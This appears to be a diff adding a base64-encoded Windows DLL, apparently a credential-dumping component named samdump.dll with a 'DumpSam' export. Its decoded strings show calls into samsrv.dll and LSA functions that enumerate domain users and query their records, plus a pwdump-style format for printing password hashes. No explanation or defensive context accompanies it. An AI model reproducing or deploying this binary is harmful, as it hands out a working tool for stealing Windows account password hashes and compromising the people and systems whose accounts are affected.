+CYBl/QCIRfxqAViNTQpqAWoAagBRUI1F/FBqAeie9f//g8QchcB1AsnDD7dFCiNFDMnDVYvsUYM9 +lIEAEABTVld1HYtFCIP4QQ+MqgAAAIP4Wg+PoQAAAIPAIOmZAAAAi10IvwABAABqATvfXn0lOTVE +fQAQfgtWU+hA////WVnrCqFYdgAQigRYI8aFwHUEi8PrZYsVWHYAEIvDwfgID7bI9kRKAYB0D4Bl +CgBqAohFCIhdCVjrCYBlCQCIXQiLxlZqAI1N/GoDUVCNRQhQV/81lIEAEOiV8v//g8QghcB0rjvG +dQYPtkX86w0PtkX9D7ZN/MHgCAvBX15bycPMzMzMzMzMzMzMzMzMzMyLRCQIi0wkEAvIi0wkDHUJ +i0QkBPfhwhAAU/fhi9iLRCQI92QkFAPYi0QkCPfhA9NbwhAAzMzMzMzMzMzMzMzMjUL/W8ONpCQA +AAAAjWQkADPAikQkCFOL2MHgCItUJAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8Hj +EFYL2IsKv//+/n6LwYv3M8sD8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB +5gAAAIB1xF5fWzPAw4tC/DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C +/1vDjUL+Xl9bw41C/V5fW8ONQvxeX1vD/yU4YAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAANmgAABpoAAAOaAAAAAAAAKxnAABqZwAAkGcAANxnAADyZwAAoGcAAHpnAAC6ZwAA +yGcAAMppAABUaAAAYGgAAHJoAACAaAAAjmgAAKJoAAC2aAAAzGgAANpoAADmaAAA8GgAAABpAAAO +aQAAIGkAADBpAAA+aQAAUGkAAGhpAAB+aQAAmGkAALJpAABYZwAA5GkAAPJpAAAAagAADmoAABpq +AAAsagAARGoAAFxqAAB0agAAjGoAAKhqAAC0agAAwGoAAMpqAADWagAA5moAAPRqAAAEawAAGmsA +ACprAAA6awAATGsAAAAAAAAAAAAA/////84SABDUEgAQBgAABgABAAAQAAMGAAYCEARFRUUFBQUF +BTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgI +AAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABydW50aW1lIGVycm9yIAAADQoAAFRM +T1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVu +YWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZv +ciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9y +IHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9u +IGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRh +YmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAx +OA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRp +dGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJl +YWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5v +dCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFj +ZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoA +AAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVy +cm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAEdldExhc3RBY3Rp +dmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAAAAAAAAAAAA +AAAAAP////8DUAAQB1AAEP////+3UAAQu1AAEP////87UgAQP1IAEEg6bW06c3MAZGRkZCwgTU1N +TSBkZCwgeXl5eQBNL2QveXkAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAAT2N0b2Jl +cgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAARmVi +cnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIA +RmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAAAFR1ZXNk +YXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgBTdW5Nb25UdWVX +ZWRUaHVGcmlTYXQAAABKYW5GZWJNYXJBcHJNYXlKdW5KdWxBdWdTZXBPY3ROb3ZEZWMAAAAAfGYA +AAAAAAAAAAAAAGgAABBgAABsZgAAAAAAAAAAAABGaAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +NmgAABpoAAAOaAAAAAAAAKxnAABqZwAAkGcAANxnAADyZwAAoGcAAHpnAAC6ZwAAyGcAAMppAABU +aAAAYGgAAHJoAACAaAAAjmgAAKJoAAC2aAAAzGgAANpoAADmaAAA8GgAAABpAAAOaQAAIGkAADBp +AAA+aQAAUGkAAGhpAAB+aQAAmGkAALJpAABYZwAA5GkAAPJpAAAAagAADmoAABpqAAAsagAARGoA +AFxqAAB0agAAjGoAAKhqAAC0agAAwGoAAMpqAADWagAA5moAAPRqAAAEawAAGmsAACprAAA6awAA +TGsAAAAAAABTAUdldFByb2NBZGRyZXNzAADfAUxvYWRMaWJyYXJ5QQAAGAJPdXRwdXREZWJ1Z1N0 +cmluZ0EAAC0BR2V0TGFzdEVycm9yAAAOA1dyaXRlRmlsZQDDAEZyZWVMaWJyYXJ5AB4AQ2xvc2VI +YW5kbGUAuQBGbHVzaEZpbGVCdWZmZXJzAAABA1dpZGVDaGFyVG9NdWx0aUJ5dGUANwBDcmVhdGVG +aWxlQQBLRVJORUwzMi5kbGwAAB8BTHNhQ2xvc2UAAEEBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGlj +eQA7AUxzYU9wZW5Qb2xpY3kAQURWQVBJMzIuZGxsAABXAlJ0bFVud2luZADaAEdldENvbW1hbmRM +aW5lQQCOAUdldFZlcnNpb24AAIwARXhpdFByb2Nlc3MAywJUZXJtaW5hdGVQcm9jZXNzAAAJAUdl +dEN1cnJlbnRQcm9jZXNzAAwBR2V0Q3VycmVudFRocmVhZElkAADTAlRsc1NldFZhbHVlANACVGxz +QWxsb2MAANECVGxzRnJlZQCcAlNldExhc3RFcnJvcgAA0gJUbHNHZXRWYWx1ZQCYAlNldEhhbmRs +ZUNvdW50AABoAUdldFN0ZEhhbmRsZQAAKAFHZXRGaWxlVHlwZQBmAUdldFN0YXJ0dXBJbmZvQQBa +AERlbGV0ZUNyaXRpY2FsU2VjdGlvbgA4AUdldE1vZHVsZUZpbGVOYW1lQQAAwQBGcmVlRW52aXJv +bm1lbnRTdHJpbmdzQQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXABkBR2V0RW52aXJvbm1lbnRT +dHJpbmdzABsBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAuAFIZWFwRGVzdHJveQC2AUhlYXBDcmVh +dGUAAPECVmlydHVhbEZyZWUAugFIZWFwRnJlZQAAlQJTZXRGaWxlUG9pbnRlcgAAbwBFbnRlckNy +aXRpY2FsU2VjdGlvbgAA3gFMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAyAFJbnRlcmxvY2tlZERlY3Jl +bWVudAAAywFJbnRlcmxvY2tlZEluY3JlbWVudAAAxQFJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9u +ALQBSGVhcEFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9FTUNQAADuAlZpcnR1YWxB +bGxvYwAAvQFIZWFwUmVBbGxvYwCoAlNldFN0ZEhhbmRsZQAAAgJNdWx0aUJ5dGVUb1dpZGVDaGFy +ANwBTENNYXBTdHJpbmdBAADdAUxDTWFwU3RyaW5nVwAAaQFHZXRTdHJpbmdUeXBlQQAAbAFHZXRT +dHJpbmdUeXBlVwAAAAAAAAAAE/jgOAAAAACSawAAAQAAAAEAAAABAAAAiGsAAIxrAACQawAA8BIA +AJ5rAAAAAHNhbWR1bXAuZGxsAER1bXBTYW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAOYyABC4PQAQAAAAAAAAAACOMwAQAAAAAAAAAAAAAAAAAAAAAFNhbXJDbG9z +ZUhhbmRsZQBTYW1JRnJlZV9TQU1QUl9FTlVNRVJBVElPTl9CVUZGRVIAAABTYW1JRnJlZV9TQU1Q +Ul9VU0VSX0lORk9fQlVGRkVSAFNhbXJFbnVtZXJhdGVVc2Vyc0luRG9tYWluAABTYW1yUXVlcnlJ +bmZvcm1hdGlvblVzZXIAAAAAU2Ftck9wZW5Vc2VyAAAAAFNhbXJPcGVuRG9tYWluAABTYW1JQ29u +bmVjdABzYW1zcnYuZGxsAABXcml0ZUZpbGUgZmFpbGVkOiAlZApUZXh0OiAlcwAAACVzOiVkOiUw +MnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAy +eCUwMng6JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAy +eCUwMnglMDJ4JTAyeDo6OgoAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyIGZhaWxlZCA6IDB4JTA4 +WAoAAABTYW1yT3BlblVzZXIoMHgleCkgZmFpbGVkIDogMHglMDhYCgBTYW1yRW51bWVyYXRlVXNl +cnNJbkRvbWFpbiBmYWlsZWQgOiAweCUwOFgKAFNhbU9wZW5Eb21haW4gZmFpbGVkIDogMHglMDhY +CgAAU2FtQ29ubmVjdCBmYWlsZWQgOiAweCUwOFgAAExzYVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3kg +ZmFpbGVkIDogMHglMDhYAAAATHNhT3BlblBvbGljeSBmYWlsZWQgOiAweCUwOFgAAABGYWlsZWQg +dG8gbG9hZCBmdW5jdGlvbnMKAAAARmFpbGVkIHRvIG9wZW4gb3V0cHV0IHBpcGUoJXMpOiAlZAoA +IAWTGQAAAAAAAAAAAAAAAKkkABBoYQAQWGEAEP////8AAAAA/////wAKAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAEAAAAAIAAADUYwAQCAAAAKhjABAJAAAAfGMAEAoAAABYYwAQEAAAACxj +ABARAAAA/GIAEBIAAADYYgAQEwAAAKxiABAYAAAAdGIAEBkAAABMYgAQGgAAABRiABAbAAAA3GEA +EBwAAAC0YQAQeAAAAKRhABB5AAAAlGEAEHoAAACEYQAQ/AAAAIBhABD/AAAAcGEAEGCFABAAAAAA +YIUAEAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAABtTgAQbU4AEG1OABBtTgAQbU4AEG1OABBidgAQYnYAEAAAIAAgACAAIAAgACAAIAAgACAA +KAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQ +ABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEA +gQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQ +ABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA +EAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ +gQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECBABAAAAAAAAAAAAAAAABYgQAQAAAAAAAA +AAAAAAAAKIEAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAI +AAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIA +AMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAAeAAAAAoAAAAAAAAAAAAAAAECBAgAAAAApAMA +AGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAA +AACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkA +ADF+gf4AAAAAAAAAAAAAAAD4AwAAAAAAAAAAAAAAAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAA +BAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAAL +AAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEA +AAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAA +ABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAA +CgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAAC +AAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAQwAAAEMA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAAFh9ABAAAAAA7GUA +EOhlABDkZQAQ4GUAENxlABDYZQAQ1GUAEMxlABDEZQAQvGUAELBlABCkZQAQnGUAEJBlABCMZQAQ +iGUAEIRlABCAZQAQfGUAEHhlABB0ZQAQcGUAEGxlABBoZQAQZGUAEGBlABBYZQAQTGUAEERlABA8 +ZQAQfGUAEDRlABAsZQAQJGUAEBhlABAQZQAQBGUAEPhkABD0ZAAQ8GQAEOhkABDUZAAQzGQAEAAA +AAAuAAAAAAAAAAh+ABAoggAQKIIAECiCABAoggAQKIIAECiCABAoggAQKIIAECiCABB/f39/f39/ +fxB+ABAAAAAAAAAAAAAAAACAcAAAAQAAAPDx//9QU1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUERUAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFx+ABCcfgAQAAAAAP// +//8AAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAD/////HgAAADsAAABaAAAAeAAA +AJcAAAC1AAAA1AAAAPMAAAARAQAAMAEAAE4BAABtAQAA/////x4AAAA6AAAAWQAAAHcAAACWAAAA +tAAAANMAAADyAAAAEAEAAC8BAABNAQAAbAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA8AAA +AAIwCDAOMBMwGTAgMCUwKjAzMDgwPjBGMEswUTBYMF0wYjBrMHAwdjB+MIMwiTCQMJUwmjCjMKgw +szC9MMcw0TDbMOUwLjE5MT8xXDGmMasxoTIyMz8zRjNjM3YzuDPVM/0zFTQfNEc0aTRzNJs0xDTc +NAQ1PzVYNXw1kzWdNcU10DVCNnc2hjaxNtQ25Tb2Ng83FjcbNyY3QjdIN043sDfxN1o4dDh9OMA5 +xznWOd456TnvOfU5/zkXOhw6JjpAOk46VjpcOp86sToNOyg7NztTO6w7tDsOPBs8vjzNPOM8Ez7N +Ptc/AAAAIAAAEAEAAB4wPzBWMMswkzOXM5sznzOjM6czqzOvM300iDSNNJc0nDTUNOA05zT3NP00 +BDUONSc1LzU0NUA1RTViNWg1ojWqNcQ1yjXbNfQ1ADYGNhM2IzYpNjE2TzZVNmY2fTaHNqA2Ajca +NyA3SjdQN3I3hje4N7831DcGOBA4MThGOGo4lDiiONM42TjmOAc5LDk7OUo5fDmMOc852znlOfk5 +BzoUOhk6Hzp6OoE6yToOO/E7Cjw/PEc8YTxtPH08vDwMPR89XT2BPYg9mT2fPa89tj29PcU97D34 +PQI+Cj4SPhg+Jj41Pkc+bT56Pog+kz6mPs0+3D4ePzI/UD9cP3g/jT+jP6o/uD/LPwAwAABEAQAA +QjBPMHQwkDCjMBcxtzEEMhwyMTJ7MsMy2jLnMgEzDzMdMygzPDNCM1AzWTNqM4YzlTOnM7AzzDPv +M/kzAjQeNEE00TTZNN805zQyNVc1aTVvNXg2fjaGNo42ljaiNqc2sza7NsM2yzbhNuk28Tb5NgE3 +FDccN0k3ZDd0N3o3qTfRN9c34zdJOE84VziaONQ42jj9ORk6JjozOkY6TzpbOo06nzquOs861Tr2 +OgA7CzsQOxg7LztEO0o7UjtaO2U7kzufO6k7tDu+O8g7zjsRPBs8IDwlPCo8QzxJPLg8vjzcPO08 +AD0VPTM9QT1OPV49fz2LPZ09qz26Pcs9GD4wPjc+Pz5EPkg+TD51Pps+tT68PsA+xD7IPsw+0D7U +Ptg+Ij8oPyw/MD80P5o/pT/AP8c/zD/QP9Q/8T8AAABAAAAAAQAAGzBNMFQwWDBcMGAwZDBoMGww +cDC6MMAwxDDIMMwwHjEkMSsxNDE7MUMxSTFUMVwxqzO5M78z2TPeM+0z8zMDNA40IDQzND40RDRJ +NE80XDR5NH80ijSQNJo0oDSwNLY0+jSgNY03mDegN7M3uTfPN9Y33DfmN+w38Tf3Nwc4EDgqODs4 +QThUOLY4YzlsOXI5fjmDOY05lDmcOaI5qTmuOb852zn9Ogo7Lzt6O4k7qTvLO/g7DDxGPE08czyL +PKU8sDzGPM489zwEPQk9Fj0iPdw94z38PT4+UD7ZPvk+/j4dPyo/Nz9BP0s/Uz9hP38/nD+0P9Q/ +AAAAUAAAwAAAACwwQjB1MN0wAjFIMU0xaTF8MYMxlTGdMa0xvjHRMekxCTJfMnEyyDLgMucy7zL0 +Mvgy/DIlM0szZTNsM3AzdDN4M3wzgDOEM4gz0jPYM9wz4DPkM0o0VTRwNHc0fDSANIQ0oTTLNP00 +BDUINQw1EDUUNRg1HDUgNWo1cDV0NXg1fDVJNlk2izaVNmY4eTj4OAI5Hjl+OcY5zDnaOSk6WTq0 +Oro6yDomO1U7ZDu8O/Q7BjwZPFU8nj0AYAAAGAAAAPQw+DCsNLA0uDS8NMQ0yDQAcAAAyAAAAAww +EDAcMPQy+DL8MjQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8AzyDNANkQ2SDZM +NlA2VDZYNlw2dDiUOKQ4tDhQPVg9XD1gPWQ9aD1sPXA9dD14PXw9gD2EPYg9jD2QPZQ9mD2cPaA9 +pD2oPaw9sD20Pbg9vD3APcQ9yD3MPdA91D3YPdw94D3kPeg97D3wPfQ9+D38PQA+ED4UPhg+HD4g +PiQ+KD4sPjA+ND5APtw+4D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 